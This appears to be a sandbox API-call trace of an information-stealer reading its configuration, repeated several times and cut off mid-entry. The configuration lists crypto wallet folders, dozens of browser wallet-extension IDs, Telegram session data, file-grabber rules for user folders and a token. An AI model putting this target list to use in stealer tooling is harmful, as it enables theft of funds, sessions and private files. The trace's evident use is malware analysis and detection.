Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4184 [0266.228] LocalAlloc (uFlags=0x40, uBytes=0x2130) returned 0x6fc408 [0266.228] StrCpyW (in: psz1=0x6f1ee8, psz2="28" | out: psz1="28") returned="28" [0266.230] LocalFree (hMem=0x6fc408) returned 0x0 [0266.230] StrStrW (lpFirst="Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.230] lstrlenW (lpString="coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4184 [0266.230] LocalAlloc (uFlags=0x40, uBytes=0x2130) returned 0x6fc408 [0266.230] StrCpyW (in: psz1=0x6f4830, psz2="Coinomi\\Coinomi\\wallets" | out: psz1="Coinomi\\Coinomi\\wallets") returned="Coinomi\\Coinomi\\wallets" [0266.231] LocalFree (hMem=0x6fc408) returned 0x0 [0266.231] StrStrW (lpFirst="*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension 